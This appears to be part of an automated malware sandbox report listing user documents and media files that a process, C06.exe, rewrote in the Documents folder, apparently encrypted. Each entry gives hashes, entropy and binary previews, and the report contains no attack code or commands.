Preview:	KATAX..a.....GQlF6.4I...t..ev[....(G..{..R....^.^."EN..(n.....}..`...m....S.f..bp.iP#..J.]....w...,yf..@.7e..=..`..v].......w.a....(t..i.I.........f..d6X.ZdT...2...I.".....$3p.....\|$..vJ^`..........e.q...<3yx.E.....UV...DC[9..s[..Z.!...9....m....$-.z..m.:f.FN...P...R%A.&..i..d.C..??.......Y....^$....{a.%~.I........y... ..F-.o..t'....`ZS.......M.. h...58...Z)......../$...t.}V....)r.....o.-.]X"~\|...._....DZ.U)...5.F...K!..-.^IY..9...s.j.L.!.,.^...vV?'.%......jM....d...`w..@.#......../...iR..\|~.....z.OoLM.M1.,.d4....M8j.u.K<..D.2._xO1h..U...rV.y.2vM....%..O.;...9. .!.I..\|.]y..h..^u5.e...$up._.3.8.}]2..~.E~..~.0..k.i...i<#}[.?P.d.WQ..%z........y^.....L...l........T.....M.\.N....&.6.t."G....d..Q..M..Q..5ti.D!n{.D..Cj\|p...C..<.5..[..3t..I.o..>.).>.9....J.>WT.J.fC...Fu=A..\).l...V..YaiL...p...I.&.B...hF.8\.^.H.1....H?H...o.T`...^a......_...Z....b.h)..2z...V.</...*}.f....X...1......I..7.......$.......qR8...z..A...........s.v..t.$....&........

C:\Users\user\Documents\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825854093140197
Encrypted:	false
SSDEEP:	24:pemZqwH9VnJmFdW+n1u8ZhOGFCYEYX1jkHOkVUJQrVYRiaJomRXxhYeHvbD:T57ngBn1uAkc5jDkVUJtlokhhXTD
MD5:	0B2B1C07CE6D3402B005E77D6E312B78
SHA1:	E584BD0E923580D5177A09F15B351761A1096A17
SHA-256:	33E5D2B456249E64E94308B5B07CB44DE89B006302E760FE76088BA3B9DCB7F8
SHA-512:	4A89311A9DD786EB37167213859A340D1882AD5B718D52F954E68719B7B535ACE61CF4DD7CDB71339E0CACB035495841F91DB3A8392F58C0C218E3198A1C96BF
Malicious:	false
Reputation:	unknown
Preview:	LTKMY\@.~..;9..d.......{..z....zD[....c......nw....Ja3L$...d].B...4GV.`......`....4.@.7.;.....}^XZ6&Gw.\|a.7s../.....}#..#..46...ak.8-.OL.W.Y...OW..<P.......6.n........QZ.^..4&.E{d..hSu...../...(..........n..W.i.&...UF...s.....D.......L...;r.....9.(..........2..3...R.8.Iw...g..p..@.......L.{..hh...)JXBC...fF...a..A...A.A...4.R..6.......^...".F...W.K....<.boR...G<= P.?.. ....7#`. ..]y..I..\.`..f.(.i.....;....t...# =k..6..p......"8.D#......n.T.[l:.U!.f.g..Eb$ .8.;..W....3..6eB../..V.{.M.........cLiC..;.{...`Fy..@..{V...sn.2id.x.&..^.U.-f....j......Vq.Y.....c...n.8_...C.p.y.......c)..Z...[^^...R9P...1iAX.jT..^.I.,..8...p.+..s..9C%...5t.........k~~w....XY.):...../%..d.F..s.....m..'.=...=m...sC....VB.s...g....T.r..Rv...7...q.dy.}...9....}...E:`)J...@%4...%...sy"'.D...F...k)...3.@.#..c.[f.O:i.....&.W.3..D..%C../d.....p@q.Z...n...C.i..1t]. ..]h\L..HN...QZ....L...r.....-.}.a.+L....)...p..Q..j2..WO.s.*....<.2[.8..i...".".]..C...(.t~>O...9z.8.F.#..jS/p.=`.

C:\Users\user\Documents\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845826786456149
Encrypted:	false
SSDEEP:	24:W5hxrjsalCtiAh/f4YiVLfjzbZDOWCTCKUbi0gktwcY6hdDqeW+eJbD:WDRjsqCis4hBjR4BUbirf6hdmeWFpD
MD5:	0083BED4731DE6E963218FB4586CBF59
SHA1:	A5EF173EAF53FE20206A6335CCF2F3C0099E6D79
SHA-256:	AA4E9A96B686E6C59535BA10A93B416DDEDA0BED7972A60B90037FAA856A1837
SHA-512:	56D2D638CFA7D29B3EB50F8DD35D8414DCFB2963B6AD86AC7667109AAE1C047839504BBFCF422DEAE2D1755F0919A8F379ADCD14809F57B96B7E7219B3AC191D
Malicious:	false
Reputation:	unknown
Preview:	NWTVCs.#.....#....I.R.~.6...-.B..R.......1r..@....4q.@S J.H..."-.../..Wc.s..C.fgz.i.\...x..E...<.{......+.]...u..5..?...<F....w.g..>.N.p.v....9.Wr!...'Q!.]...a#... ..z.Y3H.h..g.F>.6..A.[K.P`E.:^..>......@z.wl~..M.lo..."\.......0"v....v.jE....].[.-...1.t...^p..x..Q.A.BOz.syUK.E....C...J.(...rZEx..d..H'.....:(.GD..y.O.%.l3M...].T.Z.]p. ...U....C...q.}.P.1.SlZ..$.tv.^..sD..._..F>E........=.6..$.Ob.{..{M.GQe.+.9B.@m*....=..H...=....lLBC-RW:.....m....Vd.a......ji....s..w n.u.iD..."......?~3.1.1...I..UlXcg..v< ..\.cb.fU..N$.Zc.wf....v.r..K?a..3....)...>t.LM...o.-.+p.O.......=.1+.......u.?..Y. ..B..K.........MA.[.JQ..?...%.t..'[..n..(..z..4l.I..)...Es.....9.V...A....A.....^...a.#...r..2...r.......\Y.....{y`.6(..M..H..C.......%J.D.;.b.?..-..(..L....Fr2.c...\|B7..l'.PiX.....Q..i.+.3.....R%.p.H...........z..Z...u,"1"\d.`.0....#(..eG..h..C.zCXt7Ul.\.o"R.rK\.EE...=.Y....'....~....5...^.[.e.H...S.1~.."}.B..16.\|}w........b..u..e.e....x...E...B.7..

C:\Users\user\Documents\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840755345271212
Encrypted:	false
SSDEEP:	24:VKgqqG9/FGlv00d6b40l/hTYW1fw9UhfGFskFQIe/COFIiUx74YobD:VKgq1X5bTl1YW6CfoF6DUx9yD
MD5:	832CCAF51E58680C374A77E5E8BC1374
SHA1:	AB2E557F548C7BEDB75425F6B9FAE652E70D6A11
SHA-256:	3E46B4083A8335CEDC02EB4BA181CA0C116672CA8C9F1D38017B8B66F082AA35
SHA-512:	764DE62238920D20096571B5F557D3C9B14552475E1F446A100976A777EEE7F37D0F2033319025DB6B93E5FFC92B38E981ABA4C4BA62EBFBDA06E70208A1B8C9
Malicious:	false
Reputation:	unknown
Preview:	ONBQCkS......7F.l....j.s3.....HdW.H.sB[.......lT.<........\.y.Vz..x$.h.....E.osW8....2..ko.7\|...$.....S.[..9.@...<.....~.L$......7p..A...>......9..j...d...."c.......t#L..K.X..R#jJ..F;o..zvb.M.Q>..y;....pK.^.o.a..........t&Jo..#..W`.N..{.S2...G&.d.^.[..A....../.....2.o]..G.....-B.EU.......l..W..;......&EY.......dd.....5_N!...$u.W......}..;&...e..h.QZ...{..S.ft.......5.6..Ze.QQ....T.ua.!.Q.....Q......dB..>.Y..M.p..k`9u2..1Q7..s...,.....+(W....X..p%.\=Q.#G.;s.n).-.C..q..{.>\!..]U......!=..+.....Z...(R.$Hx.-T..3..X.M=......E.U...1...8..~#.......d..G';1$.k>..\...m..vl.G.:Vp^.j..N.....7[....j+r...f.33....@.Fj...../..&dbn..H.....'2........q7.R...v.N-.d.y..}.....=..4}...(.,1..7.[.F.)R..e..V...p..z6.%oy.`..j......{..!c.0..h..Z..y.Y....\|"].K....{.......T..%.D........bI>.?I..h.u...^!.A-.X....@FkU........A.L.C.1I.1....z<...Gf3.....k..{......d\...f.^.7...4.`U......eh.....T.foCZ.[..A..F(.....Y..6....b..E.. fB..\|q.~....X{].....DM....j...

C:\Users\user\Documents\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8387063435657955
Encrypted:	false
SSDEEP:	24:lIo7kHN48gOf5CRIfqhCt+x3Nx+Q+iGgls3mV3G2dZGE9mo5Tcv8x0UUc46hQpbD:Oo7kHN4BdCIx3b8glamVW2v9YkTvx+lB
MD5:	534806D40FC57045F74EEA6A0A4C27AA
SHA1:	B7E2EB05166CBEBA37598FA8CA3E000B7F8A309C
SHA-256:	C225DE7E89D1862F2E86782C329CA13134DF96201ABABB6ED59DA9C98B752A77
SHA-512:	E8FE11F26E4EEF0E8976524EE7D4FF2AF460BD0381FB0F82BC53ADBE6831FC7A8C8C42C037AB24BFDABF2CAE93D75182780FD6FEBC00339B96834E83E106FFF1
Malicious:	false
Reputation:	unknown
Preview:	ONBQCC..s6V.Z{]..2.@.]U.f.....<..z>W..b.}..0....F.Fj..#..4.6-.o...3...._R......{....Zg.....W\|..9v.H....v..j.....o.19&..k9~..ed$..`...<e.."y.2..A?......>.Y.zrraF...zS......&.8!l+.0d.......f.T.q?".8.".}7.s.t..HC?..{.......$W.>rfv..6.P..,..Jl.u^..J,x.04.....U..PR7....._.{......9z.g.8,...?,_a.D.F!.Jn..4.....$70D..d../.UR.?w._.jv.(..w.53...a..{m...LpS.>..>p.....F...e...un...L.......j...{1...?q.=.j.. R!1...'2s.Gx.H..x\;......J`...@>..2%0...#...5.H.....TP......Q.(.."0(.UaN..j..O.......t..xq..&.....ZG.....<.J..O...."......u./....n..p.4y.`....@t.&\|....."....7.I-..o.`......3]..5w.....(.N...@{&.O..:}.....F;.........r+ei.#..dK...#..%..Ky.t3.q(G..C.8SU.<....8.B.I.Q_.D.g.]...#!.......8......!..9@. N?...p\|%.uHN...23m.9.'P.J.b&`...`8Ej"u.=.)...E.E. .)Q.6....6$P.X...<.2......{....d..a...W.P....Tw.....X7...%u....Cj...p..{..)a..t... ..Xq..V.0}6:s.".h.Q1..U.j!<=2..g...uD8.vnDz....7.v....).Z...z..4O.8..+$.x....Kf/=~.... ..r..M.mK......0...(.c#...

C:\Users\user\Documents\ONBQCLYSPU\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854963144642336
Encrypted:	false
SSDEEP:	24:nHZplEtPCEB7M0/aBXQ8OK92NgQ5JthoIqFEP4IDZVDZjMNiIjmLLGLTUVbD:5pyPCEBp/CA8OK6gIJth244uZRZ4Ui3C
MD5:	2690D9AF948255B8A212112E0AAC325E
SHA1:	9462E1ABBE98352BB392C4A75AEE05634BCFCA13
SHA-256:	1D9627EF49371D51E72E65758467A718925C2A9B02FE4FE9E5C8B6BAA09F3431
SHA-512:	86B4BEFF6BAA914C643AD57E8B1F75A07D1DE72EBFA9FDA36CB7FF6E1E71084535138B959E21EA6EAD21B464FBE04FC21744E1B4E676E22B88E9FD8C16E4E581
Malicious:	false
Reputation:	unknown
Preview:	KATAX..&m.7..HO.B.)..0H...wK..;.W....t..m..F.>.m.g..{..:..>.m"i\za...o..N..z.h.G.......n...0g..(..\.np5.....m....X.].M...Y...-.....7.}.n....z...X........S..#6......R)....6.....mY.u.`J...?H...b....k.,..y.~2. \|OIa&.xs.V.57.S.........)U1y....} eF....E..P....+.2v...i.....0[..k......z...j......ZlU...#..Q8'....)..UO.=..........c...c`<.l......9Ie.k...}.>n.{.QF.Ka2RQ..n.y.k. 8....-...H.g.X.l..wU.D.....Wj..@j..q.hl.Rcj,.e...2>..]j5..4..b...F.."R.@......?.^ m.......o0.}.0....T...ZE.i.{....T..M4........X)...X .....^.L.v.pI...FB..>/k..2..jcPef................:\|C......Wx.a.&...N.....G....Z'e\.A......=q..'M}..u.s........a..1.t..3..fc\...!..P.../........r...o.b..)\|.t...Y..._....\|fB...>(....r..$.H..@...9.jk...!.....1..%...AH.4..c......K...KF.U......e...p...#...?..av..0..<l......3S..y.T.bkW."..2hwiz..jX.../.....JkF..u.\|...\|ctJ.K....=E(%..2{.].c.D.TBH.......dY.n./....zB3....=g$."^...%.........<.S..<........p...4........7e..DYv.6t.e..vy

C:\Users\user\Documents\ONBQCLYSPU\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842040883798717
Encrypted:	false
SSDEEP:	24:cGXZNypV+zDNDeZP9ve/5i4cx2k1Z24gSqHa+sXLXvA5OEKxammc/1mbD:NXZ4L+38ple/5i4cx2aZk1HGXD0OSmr6
MD5:	C2A76CFDAD560FDFE64DF52439E06199
SHA1:	8984ECE5609BB41F56B4184A78025393926F90B4
SHA-256:	DB43EC3EC868CCD7C94EE5BBBD3D3B2AE74D93DBF61754700744B7DE488A43A2
SHA-512:	F8D74E692B2F367F8381C716C23BF01118C71EA549D3D42D31569B14F181A69188C44971200A233E2301B66270F609EAFDFC755FEA5025E2C879CE1AC6672A3E
Malicious:	false
Reputation:	unknown
Preview:	LTKMY. ...R6.....84.....$R......s...F.`..rX..O.wo.s'.h... ...NG..:%.[b5....:Z.Z.....p}J 0...7f..h..c~.:`....:.s..<...L...<i.......5.q.....b...w.CB.\.BnsbK..4..{dp.....\-...."ae.iO.]^$..B'H.3.h_CFU..6...'.p...."..&G./+-m...h...O..V.!V...~0........H...'?.F..~6i...Ptv.:k.c..#1L;..p......}..L~...qx...PW.......6.....}.7JJU.1.....bY]....~L?.uX1.!f.j..Q.:<ue.>.....R$R....cy...z....u..G....D.[.+I.u...W.<#}..]w.XIV+.2V...L......>..QR..H..I0.u..^.."M.P...w.".......p.^I5/....m)..1.F.h`...)c3.......c.Dk....D..=....%~.A......>...")\d...\z...".k..A.&m. H.'....u....=.@..p.2..e%..%.....7%<sNO.h9.X. ..~.d.a.Y..6....).q..S...W....bE}..=....I.,..F.T..`;<.....aH'...9....]^..'.\|..HvU`.4.b.`..5.....%7.r.I....I. ..M.@.......ab...i.>..\|. DL....$..ak.h..Q.f..q...=/.....9....;.h...D..;...sc.....wP...o..`.t.Y=..o....Z.?G....<...*....&$)%"#.xul....g......$........0.$#..Lk....#.4..?O. ..\;..3.j.........}PN7L..).e..s...N..X+Lx\...!<....K.........Y.0...z<..

C:\Users\user\Documents\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843590375277711
Encrypted:	false
SSDEEP:	24:qkk3ugTttLzIn5QD4Y7IivP/O3pFjAlkx7buLVhR185U6uObD:qJTjLW5Qv7bvP/O3TjAl+7buJhY5VD
MD5:	0937D51D9B7E853685E9563E1531B72A
SHA1:	93CB32104E9788CB18C5C555CCC0B46450D56134
SHA-256:	C598A5822F93586BD8FA5CF0DBC90970471CD027BE0153ED302CE8F776A1E6B7
SHA-512:	0ABC588B017F0A8EC6A00B04D61F0644663B6C9669D4A1FEA33A4548B6B7E02E081C2C655D71553540997B57C4FD83EBFEB6C499E9B41F84D07589009310BEE6
Malicious:	false
Reputation:	unknown
Preview:	ONBQC./../.oZ..7.1....g'.9."....U.59......'.C=...a.F..C..s...m v[T.....S...!...R.g.4i......4..8......v.i....klc....(.D...^..D..B......`.c....uo...1V..q...M...$A. ...yJ....k..B .....e..$......Wj6FAN.....Y9.t...=!.."Y-..OM.0E.?y.M.">..Nr}..iI...w...W..o..p.LC.l{gr/\|..X2.u...6.{.\P...:.l........$Z.P.......)T~.E..5.,Sw.q.......^=..-...Z..~....]}.....x?.%pQM..z...F.:&...0k+4F...4.n...SN.......p...+.#.C....y>...#....@.J{T.)..B... ..w...`..Q.$.;.mk..0.........oG%.El..l.baO...7N..ZB.)\|p.h..K.J...Iz....U.?.F.....\|Lqe%Z..\...?....,..xy4.....v..1O.........."..q.e}...'.....H\|.F.5.d(..m....o.mSM..P...P.e...<O.F.k.......-U.s...^..?%......?,\..@.b#.m...:_.Z}..N.>..;.\d..'v,..A.1................&L>..P..V.?..x.Ls..;.........d.....v.bO...W.....)'B.);...m.Je.2yCo.2.."..1.v..9.Z...H..p.0...Y..-.\.Q.W..Q..p..........P...p..J.....}.R..k.e.x.#.6..%....#v3+q..Iu......X...qp........^6F. N.68O...e.W..B.&Wv.....=n.y.....8....w.$...v...'.'^.k_. ..e.mA.n.H...2.Oc..l.j...c.Lq

C:\Users\user\Documents\ONBQCLYSPU\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856821487533988
Encrypted:	false
SSDEEP:	24:6dzEEW10rEODgTl47UYrDbktqASO8lNEQfj/nnK8FqB+t9fPwGr39bD:6ryoDtdIcAt8T3LP/FqBIBPwGND
MD5:	3F75265BE9E69278AB71EB10808C1085
SHA1:	03231F542C906ABC35E681DF8975CC56F12F01E6
SHA-256:	3A4933157700890A4DAF10881323452C7398AE65DD55FE49583EDE009F63BDB0
SHA-512:	F38961DF02B2A8C3C0DA7028829EBD2591D105806A889A7F175670823E8A3BA3F45D8610ACAD380FC6B15C99538482B07C218DA37C23E68846E07FB3CCAB06BC
Malicious:	false
Reputation:	unknown
Preview:	RAYHI.{......l..@..[DU.\|I)o!a...,.v.`r2...G.Z.V8B.D];..O.Y..?.3{.k_..}..E.e.e..s5.O,.f+z...6IO..\|s..SX.7....x7.)1V...^r(....lv.5..K..$..z.-..\......;e(rg.[n....B....K..P.1A<fY........D`D..\|....W...@vz....8...w...La.n...)7X+.R.(.c-h..\|>..v>}...f{..EoF....z.....u.6....s....c....^.....=.)Luf..r.&..,..~E.G9........jL..okF1..~-8..=.Uc./...+.......JnL...lt..N.q....(.......?N......W...w.V7.YrS....H...c...A\U.}......S>D.$....s....CN....<y....{.8..m......#.^1z.ZV`.n]...+....iep.5Mt......"H.KQ.."...+.....D.6g...S..pq2P./.\|]$3....Ba...X.%../..:....w.vF.>..k..%%...R.O..\|...F..@...+.?...1$......HY..^...z.......+Q.qcxv.A......_....7.g,...8....a..8;{...diC..0.1.M$>.#S.5...k?....I.(..,.7..02o..P.."I..:W.V%.,}f...F.?..M.).~.....6)..N,...~ .k9....4w....T...B\|..\|....E.+.. ..)y.hH.&.c.........4I..A...g.e...-7-.6.......#.^..$..H.Q.......`.=...2..a.:....O.^}s3....0...3H Rm.,,.s..5DK?...W.y...X........v_...../.....<Sn...D5.m.....6..ls......\.t62.Q.......pn..

C:\Users\user\Documents\ONBQCLYSPU\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85745508809437
Encrypted:	false
SSDEEP:	24:KAjKnhEfu/N+ODyiC6JrpPYv7qLhFl8I0qmHaPJ/HkRMbD:KAj+GuDDyytpPYTo8I0qHkMD
MD5:	4D8BC9BE978C8D82FC86FC28BEFCAEDC
SHA1:	CF7BD72669081E53418D737A1E2C634516A542D4
SHA-256:	01CDDA9E465EAA2A975932ADBEFF78BF37A27DB529F14A77AEEADACA71D2BFA5
SHA-512:	DC0C67C28291F56B4BDF483B7613D5E21A82D3D3A278FB6B6A27E76913E3BFD2D87BFCDA23B92D1CE4BF2CEB5F617FB49F218A876A82CCEE9DF011FF0300D1A9
Malicious:	false
Reputation:	unknown
Preview:	YPSIAI .E(...Mb._.vO....d...c.i..5... .rY..r..zr^n.G.7:.@zm..`Z>.0M.9bW...Y...[...Rg......#.A..a.3.....;..C!b.<...c..@Ahi.}&^....F..eQT7.C._....^.N...#.}......D.(N..A>7<L7J...]....5...~o..R.c.H.k.....w...n.+{.....t..V..CV0n.....U...WO8,+...VwL....Z.T....!H.v..D......-:.J.s1.."...(%WC`.<E....^<.a..L'm4.h.i..X.T..b.....U_.. ....+O.q...iE0W...F.m..zh.%.....B.t.j...s.@...=......;......z..e..@........7!.?F.......R.PT..._.&R... >....L.xN.H.....y..'t.X.......-....N..;...S...t..............$0-.u...4...U.h....p...=H..x.$...oI.4\...U.=s..x..s2.....@..L.&.b.T..dC.#B....x...N..~....'zeh...@............t.w...i.f.K1.........$..LPUI5..u../.V.G...6.i4#...5.0.N..x.h.._...8.q../../....!.....s.2.z.}...Iu....M......c.a.s......-I.Rf+..p[.g......:..`....'l...5pd..!....BW;0..5.G.&... .a...pa....?k^.....a.U..".8.O........7(H..)...M.d..Z..4%.E.&..,..D....a....&Y....D.....H...YzT,...+..&......c.Y.....?.'\|...8^xDX.<..l.f........b%.$....#g.......A.7g...3G =......

C:\Users\user\Documents\ONBQCLYSPU\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861621932349574
Encrypted:	false
SSDEEP:	24:rhG8+IhUpz812BAWjKOhmtB3JCmX9nORPm7lBEBJe3r7GCe6bD:ZhUpqklKOhm2epBE23r7tD
MD5:	2550C84B8E7F284960F46F2D8BE6B077
SHA1:	B6B6166F100F2CC343E5C612E388040C35D5664C
SHA-256:	88E2643F7015839B68C9A40550615B9E4A88FEB9CB0FC2B22B564E895170DB2C
SHA-512:	A934D79E067403A5A1173E8C02A91954BEDBD4BE327EB840065D4246AAD2064DECDC835C7200F6BE80490F61F1778081335E70E0B5ECEDA0E2D7697537536683
Malicious:	false
Reputation:	unknown
Preview:	ZBEDC.J......U}.x..y...%."F...0...v.$e}....K\|...c....R.+..[A.F.f.-.)..~..L^..Q...w.4..+...O.P9.q.E....y..z[...\|#T..x...E,g.P..BP..B...........G.(4.'........G..R.O......B:...ts4oi....KA<[...E.`cmJ.7.m..-!Zc&#.u.34{y....t'.zL#.h.....r\.l$..vSK..n.gg. -..\|e5.....s.sk..e.v..N..,<...)b.5... ;M7Z1.m...D....Rg..P.r<.7.TG3....:v...3.s..4em...?'.OV.Q.?u..X..&s.J..q.T.z....v<.[..=.K..S......R-...6....V.^#......?h.W....<!.!...i......N.....y.j.F#%.W.j@.qW.7....f!) }.BSQ............U;fc.n.%l...G.!.3..]/...&S...m...No...~.O....y....]bR6.Ox.(._3k....W.8)~.dJ\|.1...G...\|..f/O.7.......qL.3.\9.B"-......o._.._.-+.p...].d..#.xK..T....(H.0.....P....N.pN,....y..%{_.iEM............=z.7....e.P.....DXw.+....kO..".g.w%.3./..r.0&-p..7..&..c.#.U....\|i..'..98...&.\.QX.....8Q2.!.I...1sY=..O..WM$...._..T.Y.Y.Gc..'1f.`.~...{..8$.....j...p.$].O~.JDX.....q...]...]>.7.....<... ......%e............ER3x...&\H..e.0.9.@m.Z.dgC....q.!1..y.(f..'JA.........@L...o...'..

C:\Users\user\Documents\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842171242573301
Encrypted:	false
SSDEEP:	24:fz5p3Q5Ca9S6o4h0Vg/KyyuByWWAmhOQuSWfJQvaPOG0wg280i+WPKEbD:f1p3GhS6lhneiIOQuNJQCP8PKOD
MD5:	B1BC9CB770D970EC2DB3DDF5EDE8D4F7
SHA1:	5A7E25016CE4EACD63CACE7FD7F64B49D1D52679
SHA-256:	8B2D12303371620B0768676ED96EA56E0EA07C523E178F3A1D71FF1A069B0CC2
SHA-512:	7C8531C284C4010637A0DE056F73B6637ECAF08633177AC16841FF00CA5918ECCCDAC6875EF332201538E98D79E0B9F47D6F1F2A55293AA2DDCA8C1C0CE00DAC
Malicious:	false
Reputation:	unknown
Preview:	RAYHIL......2.....:....~...]...xI..c.....yb.#..\|.....w..[..+T..y....c/..#B........k.....0q..Ki../....Li...6...12....+...Y.b...B.ilc.Y.{..^(ykh...Y..P@.R..3o.z..[...yMu......>^.....r^[..]u......Q...2.t(.[.j.....8.......dP.......1S....p.....S... z._X..u...<J....N.i..z.....]'^WZ(t..H.l.E...s.e.a.....(.........V..\|...4...Y..gE.p.......d...wL..;....l...lR~..b.uS._.M.+<.W@.4....g(.?%#~.....E]l..y.f...:.?N,..3m...JX.>...T...@..c#....g.\|H.lJ...R..........4fm.S>.!....S..(^....-....A\".\|.....u..%...$..7...>wO-c.d........(.".f...M...F..".[....c.>..lG...0..O.& ..\..T.......6.....7X...#5.....Z....?...E..V.z).^SB%.b..... .....-...z.....H...!....#D...!A..J...........v.........A.....k%..A.r.T.+_.. Z.B.Wo....T.v.=Hc...T...YD......_)1.....>.[71.....Q2.......nu...l?WJG.;.8l....Q.a..[+$.=)?e.N'J.]..y....g..d.G.....W...g\|.d..v[?a..`d..-.R...........\|...d*..Lqx.]9......D.k..l..q:..E.b...`i.I..8hC.9...I..$..cAq.....=x.2......D........q.<a....a...h.........f..%

C:\Users\user\Documents\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860645644631367
Encrypted:	false
SSDEEP:	24:a3Qwpi7xO/YWvUxdSc+ChteyMMMH9YxLhM2A906/WKZayvPJPAlpAbD:aAwpi7xzIuS6zMp9GLhMPfWKc6PAlpaD
MD5:	EE83030C0D147058D7C6DB5D6118C79E
SHA1:	87AAD729F38C15A47A1E62A5AC6C98639685B866
SHA-256:	81A1ABBD59FE9327EAAE71F1A0D47C2CE4053F4081D8EEF0E7EB5D67EA783BCA
SHA-512:	9BD8509532E194DA803F5C0D985058701641C001F7258B0DC85ECDF2008BB54CC7FE816DB9CB0C9584A69A68B7B7E28736176123E1DF592E820506862F25D4BA
Malicious:	false
Reputation:	unknown
Preview:	UMMBD.....;M...#./.$)!5......G...:.....(`.....j...bC....8.,a.wU.=...>.pF..9W...\.O....).^.h.......Y......G..G.Ys..........K..z..?.....`....x.Z."]..#P)..Rk..Un..c&...au.Fjz.....+.....g...[...^.WIf.CUN...w&j..<.kWH.i}"R\|...]M...!......3.....EX...o.`U............J.E/7....Ch..bP[H...Z.R`4dL.C=/4$<....j.....<....B."x2...2....)..\...Q....E.......Q:..I:g%S-2.d..op.0c.....+.g.....\|.?.$.......@...v.........]..@'w=V.\..xp..%H.>...Ml...p;TsBB!g1.....E.;.....6F...)...@].,.01...t.g.l...s...M....5fy.3.(i.d.#....S.G.._.........7.N..F.....@. ..zB.#.f o_K."k...Yj.o.l...v...M.{.R..........1iA..A..4\|.Sev.bd.Q.e.'..).{A..K>......i8C..'.U....$m...mCY..O.EK.\..).Y.CRV8....o.j....s7+....^.l.,.D)u.w......3X.`.irU.p..._.W...&s{$..q...q..hu{..e.....e.".q.3.U.\O..-...i.<.j..[ZQ...a..z.e.P#]..M..t`.F.\|5HF.U.dfn...A...<......b....^....s....wJ..^S!Uu...#7.......C=.s..N..........[.............i.H.....jO....>.4.1..d..3..kbR_.....i.*.../..;J...).,.(D^+....h......t........

C:\Users\user\Documents\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833640611810201
Encrypted:	false
SSDEEP:	24:EFET2E8EAAYnGkKbvl7RVYsElCaj7SEOoBtTyKVEQ74ohtX3iYXRVu5bD:E1oQo7LcsYV374+Hi+j0D
MD5:	81B606D71867C376E9945CCA40343E5A
SHA1:	A193B2181658F4DBEB57073114AAD17C30AD9B54
SHA-256:	30E445C9C2987A82BDBA3665C1F32674147982716A2EBF2C189D5EC026A6E3A4
SHA-512:	4B86B8DA67A4078BB084EDFB9EF8C27F689C1E612E1C7E3EA1B86E0FC96E490FA0ACAD6D449C77D79D5A93382F3BE3730504434B54614C24C4EAA1C563EF2BB1
Malicious:	false
Reputation:	unknown
Preview:	VLZDG......\z.....T..v.R...^\+.w...V:D.....(...p}G..z..b......:..v.=..2B...A.9I-............K......D...C.Y...n..'.^T.....`._..\.-.&.&S(..X{.#...<4..:.......'....8..XnO ......!....%.t.z..P..n.z%..Ki[..C..S.c.j.........r..:iUa..@3{Y/.m.J,.....RB\|tUS.....L..^..Tgc.5X..w.FBO.......LZ..+....z.p&..K.j`.6.UK ...F`....S......$}'..a\F.f....Z..,..$.DR.<.8...O=.73....e...Qv....j.. .....H..G.:....8...[ 99..l.P.d...g..Y..(.A.$.8..m.....n..as.fg,..@N.J.u......ap..F\|....JN.....e.x`oQ.Tj..X..zR...z...:..O8..#=...n8....7.B.%.j.KH5sw.u...CJ.6L..>14x....&.......9.c.1d............\|l...89.r..D.I!.j."....WG.:9..T....p...@..{1.Z.../.M-8....8.._.@k.&...#.,.+.p...,_.x....p..[...u.e.7....5I'8K\|>&...X...:.F....\|.j...g.$......g..O./kvi..J......$}.8e%..O~.n.. ...+9...Z..C .W........0.G#\=...M.i..W.?..FV4...t....&..J....%.4<.S...l../.../R....J.0.,l(J,..)....f.g"..iKB.`....n8._.YD.#R.X..J....09%./#>.0......+...Q......)p..6....xo#B......F...R.........\|.7@N.

C:\Users\user\Documents\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8343325936484005
Encrypted:	false
SSDEEP:	24:ISi6PZg0B1vOnsjxu9uAtGkbKXVQlMiiv9OxIMD590KTmpJMcMD9ePDN7tGdbD:VPZgNst1sbbMZ9pMDdmxy965t+D
MD5:	7485716836B575E2B66AC7547828F0A5
SHA1:	9759F2C91944B11AC7FF797BBB7D9AF0D8026584
SHA-256:	89A5201480E8BE2284C35241AB1B8F6E6F5FFDFEE7B05AA4A1EEA4B2B282FFD0
SHA-512:	898B8B621BB0199A95AD08E697E175EA384B84F8924CE2240D1A04F02E8133E52F3D57113041F5AADC996BD1BE7598CB565C59F1F6D9FCB616AA6063B3FB5327
Malicious:	false
Reputation:	unknown
